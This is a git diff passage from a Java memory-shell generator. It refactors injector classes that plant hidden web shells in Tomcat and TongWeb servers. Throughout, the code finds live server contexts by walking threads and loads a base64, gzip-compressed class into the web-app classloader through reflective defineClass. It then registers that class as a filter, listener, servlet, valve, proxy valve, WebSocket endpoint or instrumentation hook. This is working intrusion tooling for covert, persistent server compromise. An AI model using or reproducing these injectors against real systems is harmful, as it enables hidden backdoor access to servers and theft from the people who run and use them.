NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } @@ -189,4 +185,19 @@ public static Object getFieldValue(Object obj, String name) throws NoSuchFieldEx } return null; } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatContextValveAgentInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatContextValveAgentInjector.java index b6e6fe18..bd4c998b 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatContextValveAgentInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatContextValveAgentInjector.java @@ -33,7 +33,6 @@ private static void launch(Instrumentation inst) throws Exception { String name = allLoadedClass.getName(); if (TARGET_CLASS.replace("/", ".").equals(name)) { inst.retransformClasses(allLoadedClass); - System.out.println("MemShell Agent is working at org.apache.catalina.core.StandardContextValve.invoke"); } } } @@ -53,6 +52,7 @@ protected ClassLoader getClassLoader() { }; ClassVisitor cv = getClassVisitor(cw); cr.accept(cv, ClassReader.EXPAND_FRAMES); + System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME); return cw.toByteArray(); } catch (Throwable e) { e.printStackTrace(); @@ -69,12 +69,8 @@ public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[] exceptions) { MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) { - try { - Type[] argumentTypes = Type.getArgumentTypes(descriptor); - return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); - } catch (Throwable e) { - e.printStackTrace(); - } + Type[] argumentTypes = Type.getArgumentTypes(descriptor); + return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); } return mv; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterChainAgentInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterChainAgentInjector.java index 7b1d9549..c6140174 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterChainAgentInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterChainAgentInjector.java @@ -33,7 +33,6 @@ private static void launch(Instrumentation inst) throws Exception { String name = allLoadedClass.getName(); if (TARGET_CLASS.replace("/", ".").equals(name)) { inst.retransformClasses(allLoadedClass); - System.out.println("MemShell Agent is working at org.apache.catalina.core.ApplicationFilterChain.doFilter"); } } } @@ -53,6 +52,7 @@ protected ClassLoader getClassLoader() { }; ClassVisitor cv = getClassVisitor(cw); cr.accept(cv, ClassReader.EXPAND_FRAMES); + System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME); return cw.toByteArray(); } catch (Throwable e) { e.printStackTrace(); @@ -69,12 +69,8 @@ public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[] exceptions) { MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); if (TARGET_METHOD_NAME.equals(name)) { - try { - Type[] argumentTypes = Type.getArgumentTypes(descriptor); - return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); - } catch (Throwable e) { - e.printStackTrace(); - } + Type[] argumentTypes = Type.getArgumentTypes(descriptor); + return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); } return mv; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java index a71f5d5c..c83e4b77 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java @@ -3,6 +3,7 @@ import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; @@ -13,15 +14,51 @@ import java.util.zip.GZIPInputStream; /** - * Date: 2022/11/01 - * Author: pen4uin - * Description: Tomcat Filter 注入器 Tested version: jdk v1.8.0_275 - * tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67 - * - * @author ReaJason + * @author pen4uin, ReaJason */ public class TomcatFilterInjector { + private String msg = ""; + + public TomcatFilterInjector() { + List contexts = null; + try { + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts != null) { + for (Object context : contexts) { + msg += ("context: [" + getContextRoot(context) + "] "); + try { + Object shell = getShell(context); + inject(context, shell); + msg += "[" + getUrlPattern() + "] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } + } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + public String getUrlPattern() { return "{{urlPattern}}"; } @@ -34,18 +71,6 @@ public String getBase64String() { return "{{base64Str}}"; } - public TomcatFilterInjector() { - try { - List contexts = getContext(); - for (Object context : contexts) { - Object shell = getShell(context); - inject(context, shell); - } - } catch (Exception e) { - e.printStackTrace(); - } - } - /** * org.apache.catalina.core.StandardContext * /usr/local/tomcat/server/lib/catalina.jar @@ -80,22 +105,23 @@ private ClassLoader getWebAppClassLoader(Object context) throws Exception { @SuppressWarnings("all") private Object getShell(Object context) throws Exception { - ClassLoader webAppClassLoader = getWebAppClassLoader(context); + ClassLoader classLoader = getWebAppClassLoader(context); + Class clazz = null; try { - return webAppClassLoader.loadClass(getClassName()).newInstance(); + clazz = classLoader.loadClass(getClassName()); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); } @SuppressWarnings("all") public void inject(Object context, Object shell) throws Exception { if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) { - System.out.println("filter already injected"); return; } Object filterDef; @@ -139,7 +165,11 @@ public void inject(Object context, Object shell) throws Exception { Object filterConfig = filterConfigConstructor.newInstance(context, filterDef); Map filterConfigs = (Map) getFieldValue(context, "filterConfigs"); filterConfigs.put(getClassName(), filterConfig); - System.out.println("filter inject success"); + } + + @Override + public String toString() { + return msg; } @SuppressWarnings("all") @@ -209,6 +239,21 @@ public static Object getFieldValue(Object obj, String name) throws Exception { clazz = clazz.getSuperclass(); } } - throw new NoSuchFieldException(); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); + } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java index 72fc0edc..ba820b88 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java @@ -3,32 +3,18 @@ import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.*; import java.util.zip.GZIPInputStream; /** - * Tomcat Listener 注入器 - * 测试版本: - * jdk v1.8.0_275 - * tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67 - * * @author pen4uin, ReaJason */ public class TomcatListenerInjector { - public TomcatListenerInjector() { - try { - List contexts = getContext(); - for (Object context : contexts) { - Object listener = getShell(context); - inject(context, listener); - } - } catch (Exception e) { - e.printStackTrace(); - } - } + private String msg = ""; public String getClassName() { return "{{className}}"; @@ -38,8 +24,47 @@ public String getBase64String() { return "{{base64Str}}"; } - public List getContext() throws Exception { - List contexts = new ArrayList(); + public TomcatListenerInjector() { + Set contexts = null; + try { + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts != null) { + for (Object context : contexts) { + msg += ("context: [" + getContextRoot(context) + "] "); + try { + Object shell = getShell(context); + inject(context, shell); + msg += " [/*] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } + } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + + public Set getContext() throws Exception { + Set contexts = new HashSet<>(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor")) { @@ -66,18 +91,19 @@ private ClassLoader getWebAppClassLoader(Object context) { } } - @SuppressWarnings("all") private Object getShell(Object context) throws Exception { - ClassLoader webAppClassLoader = getWebAppClassLoader(context); + ClassLoader classLoader = getWebAppClassLoader(context); + Class clazz = null; try { - return webAppClassLoader.loadClass(getClassName()).newInstance(); + clazz = classLoader.loadClass(getClassName()); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); } @SuppressWarnings("all") @@ -87,26 +113,26 @@ public void inject(Object context, Object listener) throws Exception { List listeners = (List) objects; for (Object o : listeners) { if (o.getClass().getName().equals(getClassName())) { - System.out.println("listener already injected"); return; } } listeners.add(listener); - System.out.println("listener inject successful"); } else { List arrayList = new ArrayList(Arrays.asList(((Object[]) objects))); for (Object o : arrayList) { if (o.getClass().getName().equals(getClassName())) { - System.out.println("listener already injected"); return; } } arrayList.add(listener); invokeMethod(context, "setApplicationEventListeners", new Class[]{Object[].class}, new Object[]{arrayList.toArray()}); - System.out.println("listener inject successful"); } } + @Override + public String toString() { + return msg; + } @SuppressWarnings("all") public static byte[] decodeBase64(String base64Str) throws Exception { @@ -152,7 +178,7 @@ public static Field getField(Object obj, String name) throws NoSuchFieldExceptio } } - throw new NoSuchFieldException(name); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } @@ -195,10 +221,24 @@ public static Object invokeMethod(Object obj, String methodName, Class[] para } method.setAccessible(true); - System.out.println(method.getDeclaringClass().getName() + "@" + String.valueOf(obj.hashCode()).substring(0, 4) + "." + methodName + " invoked"); return method.invoke(obj instanceof Class ? null : obj, param); } catch (Exception e) { throw new RuntimeException("Error invoking method: " + methodName, e); } } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java index e7096bc3..26f95cfc 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java @@ -3,6 +3,7 @@ import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; @@ -20,17 +21,45 @@ public class TomcatProxyValveInjector implements InvocationHandler { private Object rawValve; private Object proxyValve; + private String msg = ""; public TomcatProxyValveInjector() { + List contexts = null; try { - List contexts = getContext(); + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts != null) { for (Object context : contexts) { - Object valve = getShell(context); - inject(context, valve); + msg += ("context: [" + getContextRoot(context) + "] "); + try { + Object shell = getShell(context); + inject(context, shell); + msg += "[/*] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } } - } catch (Exception e) { - e.printStackTrace(); } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; } public TomcatProxyValveInjector(Object rawValve, Object proxyValve) { @@ -57,8 +86,8 @@ public Object invoke(Object proxy, Method method, Object[] args) throws Throwabl } } catch (Throwable e) { e.printStackTrace(); - return method.invoke(rawValve, args); } + return method.invoke(rawValve, args); } return method.invoke(rawValve, args); } @@ -94,15 +123,17 @@ private ClassLoader getWebAppClassLoader(Object context) { @SuppressWarnings("all") private Object getShell(Object context) throws Exception { ClassLoader classLoader = getWebAppClassLoader(context); + Class clazz = null; try { - return classLoader.loadClass(getClassName()).newInstance(); + clazz = classLoader.loadClass(getClassName()); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); } @SuppressWarnings("all") @@ -114,13 +145,19 @@ public void inject(Object context, Object valve) throws Exception { String fieldName = "first"; try { rawValve = getFieldValue(pipeline, fieldName); - } catch (NoSuchFieldException e) { + } catch (NoSuchFieldException ignored) { + } + if (rawValve == null) { fieldName = "basic"; rawValve = getFieldValue(pipeline, fieldName); } Object proxyValve = Proxy.newProxyInstance(contextClassLoader, new Class[]{valveClass}, new TomcatProxyValveInjector(rawValve, valve)); setFieldValue(pipeline, fieldName, proxyValve); - System.out.println("proxyValve inject successful"); + } + + @Override + public String toString() { + return msg; } @SuppressWarnings("all") @@ -168,7 +205,7 @@ public static Field getField(Object obj, String name) throws NoSuchFieldExceptio } } - throw new NoSuchFieldException(name); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } @SuppressWarnings("all") @@ -208,4 +245,19 @@ public static Object invokeMethod(Object obj, String methodName, Class[] para throw new RuntimeException("Error invoking method: " + methodName, e); } } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java index 98a639e3..b8e8e859 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java @@ -3,11 +3,15 @@ import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; -import java.util.*; +import java.util.ArrayList; +import java.util.List; +import java.util.Map; +import java.util.Set; import java.util.zip.GZIPInputStream; /** @@ -16,17 +20,7 @@ */ public class TomcatServletInjector { - public TomcatServletInjector() { - try { - List contexts = getContext(); - for (Object context : contexts) { - Object servlet = getShell(context); - inject(context, servlet); - } - } catch (Exception e) { - e.printStackTrace(); - } - } + private String msg = ""; public String getClassName() { return "{{className}}"; @@ -40,6 +34,45 @@ public String getUrlPattern() { return "{{urlPattern}}"; } + public TomcatServletInjector() { + List contexts = null; + try { + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts != null) { + for (Object context : contexts) { + msg += ("context: [" + getContextRoot(context) + "] "); + try { + Object shell = getShell(context); + inject(context, shell); + msg += "[" + getUrlPattern() + "] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } + } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + public List getContext() throws Exception { List contexts = new ArrayList(); Set threads = Thread.getAllStackTraces().keySet(); @@ -68,24 +101,24 @@ private ClassLoader getWebAppClassLoader(Object context) { } } - @SuppressWarnings("all") private Object getShell(Object context) throws Exception { - ClassLoader webAppClassLoader = getWebAppClassLoader(context); + ClassLoader classLoader = getWebAppClassLoader(context); + Class clazz = null; try { - return webAppClassLoader.loadClass(getClassName()).newInstance(); + clazz = classLoader.loadClass(getClassName()); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); } @SuppressWarnings("all") public void inject(Object context, Object servlet) throws Exception { - if (isInjected(context)) { - System.out.println("servlet already injected"); + if (invokeMethod(context, "findServletMapping", new Class[]{String.class}, new Object[]{getUrlPattern()}) != null) { return; } ClassLoader contextClassLoader = context.getClass().getClassLoader(); @@ -104,19 +137,11 @@ public void inject(Object context, Object servlet) throws Exception { invokeMethod(context, "addServletMappingDecoded", new Class[]{String.class, String.class, Boolean.TYPE}, new Object[]{getUrlPattern(), getClassName(), false}); } support56Inject(context, wrapper); - System.out.println("servlet inject success"); } - @SuppressWarnings("all") - public boolean isInjected(Object context) throws Exception { - Map servletMappings = (Map) getFieldValue(context, "servletMappings"); - Collection values = servletMappings.values(); - for (String name : values) { - if (name.equals(getClassName())) { - return true; - } - } - return false; + @Override + public String toString() { + return msg; } private void support56Inject(Object context, Object wrapper) throws Exception { @@ -249,4 +274,19 @@ public static Object invokeMethod(Object obj, String methodName, Class[] para throw new RuntimeException("Error invoking method: " + methodName, e); } } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java index 9fc33560..87aac842 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java @@ -3,34 +3,18 @@ import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.*; import java.util.zip.GZIPInputStream; /** - * Date: 2022/11/01 - * Author: pen4uin - * Description: Tomcat Valve 注入器 - * Tested version: - * jdk v1.8.0_275 - * tomcat v8.5.83, v9.0.67 - * - * @author ReaJason + * @author pen4uin, ReaJason */ public class TomcatValveInjector { - public TomcatValveInjector() { - try { - List contexts = getContext(); - for (Object context : contexts) { - Object valve = getShell(context); - inject(context, valve); - } - } catch (Exception e) { - e.printStackTrace(); - } - } + private String msg = ""; public String getClassName() { return "{{className}}"; @@ -40,6 +24,45 @@ public String getBase64String() { return "{{base64Str}}"; } + public TomcatValveInjector() { + List contexts = null; + try { + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts != null) { + for (Object context : contexts) { + msg += ("context: [" + getContextRoot(context) + "] "); + try { + Object shell = getShell(context); + inject(context, shell); + msg += "[/*] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } + } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + public List getContext() throws Exception { List contexts = new ArrayList(); Set threads = Thread.getAllStackTraces().keySet(); @@ -62,41 +85,37 @@ public List getContext() throws Exception { @SuppressWarnings("all") private Object getShell(Object context) throws Exception { ClassLoader classLoader = context.getClass().getClassLoader(); + Class clazz = null; try { - return classLoader.loadClass(getClassName()).newInstance(); + clazz = classLoader.loadClass(getClassName()); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); } @SuppressWarnings("all") public void inject(Object context, Object valve) throws Exception { Object pipeline = invokeMethod(context, "getPipeline", null, null); - if (isInjected(pipeline)) { - System.out.println("valve already injected"); - return; - } - Class valveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve"); - invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve}); - System.out.println("valve injected successfully"); - } - - @SuppressWarnings("all") - public boolean isInjected(Object pipeline) throws Exception { Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null); List valvesList = Arrays.asList(valves); - for (Object valve : valvesList) { - if (valve.getClass().getName().contains(getClassName())) { - return true; + for (Object v : valvesList) { + if (v.getClass().getName().contains(getClassName())) { + return; } } - return false; + Class valveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve"); + invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve}); } + @Override + public String toString() { + return msg; + } @SuppressWarnings("all") public static byte[] decodeBase64(String base64Str) throws Exception { @@ -144,7 +163,7 @@ public static Object getFieldValue(Object obj, String name) throws NoSuchFieldEx } } - throw new NoSuchFieldException(name); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } @SuppressWarnings("all") @@ -172,4 +191,19 @@ public static Object invokeMethod(Object obj, String methodName, Class[] para throw new RuntimeException("Error invoking method: " + methodName, e); } } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java index c310bb7e..a993547d 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java @@ -3,6 +3,7 @@ import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; @@ -18,17 +19,7 @@ */ public class TomcatWebSocketInjector { - public TomcatWebSocketInjector() { - try { - List contexts = getContext(); - for (Object context : contexts) { - Object obj = getShell(context); - inject(obj, context); - } - } catch (Exception e) { - e.printStackTrace(); - } - } + private String msg = ""; public String getUrlPattern() { return "{{urlPattern}}"; @@ -42,6 +33,44 @@ public String getBase64String() { return "{{base64Str}}"; } + public TomcatWebSocketInjector() { + List contexts = null; + try { + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts != null) { + for (Object context : contexts) { + msg += ("context: [" + getContextRoot(context) + "] "); + try { + Object shell = getShell(context); + inject(context, shell); + msg += "[" + getUrlPattern() + "] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } + } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } public List getContext() throws Exception { List contexts = new ArrayList(); @@ -73,21 +102,23 @@ private ClassLoader getWebAppClassLoader(Object context) { @SuppressWarnings("all") private Object getShell(Object context) throws Exception { - ClassLoader webAppClassLoader = getWebAppClassLoader(context); + ClassLoader classLoader = getWebAppClassLoader(context); + Class clazz = null; try { - return webAppClassLoader.loadClass(getClassName()).newInstance(); + clazz = classLoader.loadClass(getClassName()); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); } @SuppressWarnings("unchecked") - private void inject(Object obj, Object context) throws Exception { + private void inject(Object context, Object obj) throws Exception { Object servletContext = invokeMethod(context, "getServletContext", null, null); Object container = invokeMethod(servletContext, "getAttribute", new Class[]{String.class}, new Object[]{"javax.websocket.server.ServerContainer"}); if (container == null) { @@ -95,11 +126,10 @@ private void inject(Object obj, Object context) throws Exception { } if (container == null) { - return; + throw new RuntimeException("container is null"); } if (invokeMethod(container, "findMapping", new Class[]{String.class}, new Object[]{getUrlPattern()}) != null) { - System.out.println("websocket at " + getUrlPattern() + " already exists"); return; } @@ -121,7 +151,11 @@ private void inject(Object obj, Object context) throws Exception { invokeMethod(container, "setDefaultMaxTextMessageBufferSize", new Class[]{int.class}, new Object[]{52428800}); invokeMethod(container, "setDefaultMaxBinaryMessageBufferSize", new Class[]{int.class}, new Object[]{52428800}); invokeMethod(container, "addEndpoint", new Class[]{serverEndpointConfigClass}, new Object[]{endpointConfig}); - System.out.println("websocket at " + getUrlPattern() + " inject successfully"); + } + + @Override + public String toString() { + return msg; } @SuppressWarnings("all") @@ -197,7 +231,22 @@ public static Object getFieldValue(Object obj, String name) throws Exception { clazz = clazz.getSuperclass(); } } - throw new NoSuchFieldException(); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); + } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebContextValveAgentInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebContextValveAgentInjector.java index d94e48ae..801edca6 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebContextValveAgentInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebContextValveAgentInjector.java @@ -45,7 +45,6 @@ private static void launch(Instrumentation inst) 